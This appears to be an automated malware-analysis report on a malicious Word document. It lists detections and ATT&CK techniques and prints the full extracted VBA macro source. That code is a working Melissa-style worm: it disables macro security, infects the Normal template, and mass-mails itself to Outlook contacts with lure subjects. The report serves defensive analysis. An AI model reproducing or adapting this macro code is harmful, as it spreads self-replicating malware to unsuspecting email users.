MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing VBA macros. The macros attempt to disable security settings and inject themselves into the Normal template, indicating an attempt at persistence. The ClamAV detection of 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Melissa-12' further supports its malicious nature.
Heuristics 5
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
If DoNT = True Then toinfect.CodeModule.addfromstring ("Private Sub Document_Open()" & vbCrLf & ADI1.CodeModule.Lines(2, ADI1.CodeModule.countoflines)) End If -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5709 bytes |
SHA-256: aa90f8795c2ab0f3e32eaf930513d13100b3b1841210b86dbf84a51ac20b41b2 |
|||
|
Detection
ClamAV:
Doc.Trojan.Melissa-12
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Empirical"
Attribute VB_Base = "1Normal.Empirical"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Call Empirical
End Sub
Private Sub Document_New()
On Error Resume Next
Call Empirical
End Sub
Private Sub AutoExec()
On Error Resume Next
Call Empirical
End Sub
Private Sub Empirical()
'based on or guided by experience,
'experiment or observation,
'as distinct from theory.
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
CommandBars("Visual Basic").Enabled = False
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.countoflines
ADCL = ADI1.CodeModule.countoflines
BGN = 2
If ADI1.Name <> "Empirical" Or ADCL < 20 Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set toinfect = ADI1
ADI1.Name = "Empirical"
DoAD = True
End If
If NTI1.Name <> "Empirical" Or NTCL < 20 Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set toinfect = NTI1
NTI1.Name = "Empirical"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo BYE
If DoNT = True Then
toinfect.CodeModule.addfromstring ("Private Sub Document_Open()" & vbCrLf & ADI1.CodeModule.Lines(2, ADI1.CodeModule.countoflines))
End If
If DoAD = True Then
toinfect.CodeModule.addfromstring ("Private Sub Document_Close()" & vbCrLf & NTI1.CodeModule.Lines(2, NTI1.CodeModule.countoflines))
End If
BYE:
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") <> "Empirical" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
s = Int(Rnd * 7)
Select Case s
Case 0
BreakUmOffASlice.Subject = "Question for you..."
BreakUmOffASlice.Body = "It's fairly complicated so I've attached it."
Case 1
BreakUmOffASlice.Subject = "Check this!!"
BreakUmOffASlice.Body = "This is some wicked stuff!"
Case 2
BreakUmOffASlice.Subject = "Cool Web Sites"
BreakUmOffASlice.Body = "Check out the Attached Document for a list of some of the best Sites on the Web"
Case 3
BreakUmOffASlice.Subject = "80mb Free Web Space!"
BreakUmOffASlice.Body = "Check out the Attached Document for details on how to obtain the free space. It's cool, I've now got heaps of room."
Case 4
BreakUmOffASlice.Subject = "Cheap Software"
BreakUmOffASlice.Body = "The attached document contains a list of web sites where you can obtain Cheap Software"
Case 5
BreakUmOffASlice.Subject = " Cheap Hardware"
BreakUmOffASlice.Body = " I've attached a list of web sites where you can obtain Cheap Hardware"
Case 6
BreakUmOffASlice.Subject = "Free Music"
BreakUmOffASlice.Body = " Here is a list of places where you can obtain Free Music."
Case 7
s1 = Int(Rnd * 126) + 32
BreakUmOffASlice.Subject = Chr$(s1) & " Free Downloads"
BreakUmOffASlice.Body = " Here is a list of sites where you can obtain Free Downloads."
End Select
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") = "Empirical"
End If
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
If Minute(Now) = Hour(Now) Then Selection.TypeText " All empires fall, you just have to know where to push. ": ActiveDocument.SaveAs FileName:=ActiveDocument.FullName: ActiveDocument.Saved = True: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") = ""
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.